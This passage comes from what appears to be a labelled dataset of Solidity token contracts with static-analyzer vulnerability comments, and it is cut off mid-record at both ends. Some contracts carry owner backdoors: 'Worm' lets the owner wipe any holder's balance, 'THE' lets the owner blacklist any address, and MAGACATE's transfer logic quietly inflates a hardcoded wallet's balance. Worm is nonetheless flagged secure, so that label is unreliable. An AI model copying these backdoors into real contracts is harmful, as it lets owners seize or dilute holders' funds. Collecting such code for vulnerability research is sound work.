b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}",
"file_name": "solidity_code_408.sol",
"secure": 1,
"size_bytes": 15452
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract THE is Ownable, ERC20 {\n bool public limited;\n\n uint256 public maxHoldingAmount;\n\n uint256 public minHoldingAmount;\n\n address public uniswapV2Pair;\n\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 213828f): THE.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 213828f: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"THE Protocol\", \"THE\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function blacklist(\n address _address,\n bool _isBlacklisting\n ) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 03b740f): THE.setRule(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for 03b740f: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 49ba57a): THE.setRule(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 49ba57a: Check that the address is not zero.\n function setRule(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\n\t\t// missing-zero-check | ID: 49ba57a\n uniswapV2Pair = _uniswapV2Pair;\n\n\t\t// events-maths | ID: 03b740f\n maxHoldingAmount = _maxHoldingAmount;\n\n\t\t// events-maths | ID: 03b740f\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Blacklisted\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_4080.sol",
"secure": 0,
"size_bytes": 2720
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Worm is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable accident;\n\n constructor() {\n _name = \"WORM\";\n\n _symbol = \"WORM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 420000000;\n\n accident = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == accident, \"Not allowed\");\n\n _;\n }\n\n function electron(address[] memory jaw) public onlyOwner {\n for (uint256 i = 0; i < jaw.length; i++) {\n address account = jaw[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4081.sol",
"secure": 1,
"size_bytes": 4346
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Flipbit is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 557799b): Flipbit._taxWallet should be immutable \n\t// Recommendation for 557799b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a542d27): Flipbit._initialBuyTax should be constant \n\t// Recommendation for a542d27: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4832637): Flipbit._initialSellTax should be constant \n\t// Recommendation for 4832637: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e0bf94): Flipbit._finalBuyTax should be constant \n\t// Recommendation for 5e0bf94: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcd94b2): Flipbit._finalSellTax should be constant \n\t// Recommendation for dcd94b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 415ad09): Flipbit._reduceBuyTaxAt should be constant \n\t// Recommendation for 415ad09: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a9b9e0): Flipbit._reduceSellTaxAt should be constant \n\t// Recommendation for 7a9b9e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d1c3ee): Flipbit._preventSwapBefore should be constant \n\t// Recommendation for 2d1c3ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Flipbit\";\n\n string private constant _symbol = unicode\"FBIT\";\n\n uint256 public _maxTxAmount = 1000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d9435c): Flipbit._taxSwapThreshold should be constant \n\t// Recommendation for 3d9435c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f64081c): Flipbit._maxTaxSwap should be constant \n\t// Recommendation for f64081c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 814ba73): Flipbit.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 814ba73: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9badf18): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9badf18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2eb1808): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2eb1808: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9badf18\n\t\t// reentrancy-benign | ID: 2eb1808\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9badf18\n\t\t// reentrancy-benign | ID: 2eb1808\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22b3cb3): Flipbit._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22b3cb3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2eb1808\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9badf18\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d76692a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d76692a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 860d32b): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 860d32b: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bc29dd4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bc29dd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 860d32b\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d76692a\n\t\t\t\t// reentrancy-eth | ID: bc29dd4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: d76692a\n\t\t\t\t\t// reentrancy-eth | ID: bc29dd4\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bc29dd4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d76692a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bc29dd4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bc29dd4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d76692a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9badf18\n\t\t// reentrancy-events | ID: d76692a\n\t\t// reentrancy-benign | ID: 2eb1808\n\t\t// reentrancy-eth | ID: bc29dd4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0abe7cc): Flipbit.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0abe7cc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9badf18\n\t\t// reentrancy-events | ID: d76692a\n\t\t// reentrancy-eth | ID: bc29dd4\n\t\t// arbitrary-send-eth | ID: 0abe7cc\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91cf296): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91cf296: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9f7a7be): Flipbit.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9f7a7be: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c68527a): Flipbit.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c68527a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0edd4a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0edd4a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 91cf296\n\t\t// reentrancy-eth | ID: 0edd4a7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 91cf296\n\t\t// unused-return | ID: c68527a\n\t\t// reentrancy-eth | ID: 0edd4a7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 91cf296\n\t\t// unused-return | ID: 9f7a7be\n\t\t// reentrancy-eth | ID: 0edd4a7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 91cf296\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0edd4a7\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_4082.sol",
"secure": 0,
"size_bytes": 17118
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC404.sol\" as ERC404;\n\n// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\ncontract Circle is ERC404 {\n\t// WARNING Optimization Issue (constable-states | ID: 7e07562): Circle.baseTokenURI should be constant \n\t// Recommendation for 7e07562: Add the 'constant' attribute to state variables that never change.\n string public baseTokenURI =\n \"https://bafybeic5xnfzx6j2pr6dk2ezypasxpwufqhedb4q2toqs62tfba7pyz7zm.ipfs.w3s.link/\";\n\n constructor() ERC404(\"Circle\", \"CIRCLE\", 18, 1, msg.sender) {\n balanceOf[msg.sender] = 1 * 10 ** 18;\n\n _mint(address(this));\n }\n\n function setNameSymbol(\n string memory _name,\n string memory _symbol\n ) public onlyOwner {\n _setNameSymbol(_name, _symbol);\n }\n\n function tokenURI(uint256 id) public view override returns (string memory) {\n require(id == 1, \"Invalid token ID\");\n\n return string(abi.encodePacked(baseTokenURI, \"square.jpg\"));\n }\n}",
"file_name": "solidity_code_4083.sol",
"secure": 0,
"size_bytes": 1265
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c449ae1): Contract locking ether found Contract MAGACATE has payable functions MAGACATE.receive() But does not have a function to withdraw the ether\n// Recommendation for c449ae1: Remove the 'payable' attribute or add a withdraw function.\ncontract MAGACATE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c60daa): MAGACATE._name should be constant \n\t// Recommendation for 8c60daa: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Maga cate\";\n\n\t// WARNING Optimization Issue (constable-states | ID: be46c48): MAGACATE._symbol should be constant \n\t// Recommendation for be46c48: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MAGACATE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c996a8d): MAGACATE._decimals should be constant \n\t// Recommendation for c996a8d: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2dd692a): MAGACATE.Royce should be immutable \n\t// Recommendation for 2dd692a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public Royce;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c230748): MAGACATE._totalSupply should be immutable \n\t// Recommendation for c230748: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91e0ed1): MAGACATE.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 91e0ed1: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n Royce = payable(address(0x0BF6E82283517F2e97dBde0805E633F58C45b153));\n\n _isExcludefromFee[Royce] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c944b1a): MAGACATE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c944b1a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de504f3): MAGACATE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de504f3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cf8d233\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 01036a8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c449ae1): Contract locking ether found Contract MAGACATE has payable functions MAGACATE.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c449ae1: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 01036a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 01036a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cf8d233): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cf8d233: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 01036a8\n\t\t// reentrancy-benign | ID: cf8d233\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 01036a8\n\t\t// reentrancy-benign | ID: cf8d233\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf7640b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf7640b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launching() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: bf7640b\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bf7640b\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: bf7640b\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: bf7640b\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 59b4c18): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 59b4c18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 64531b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 64531b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == Royce) ? true : false)\n _balances[address(Royce)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: 59b4c18\n\t\t\t\t// reentrancy-no-eth | ID: 64531b4\n 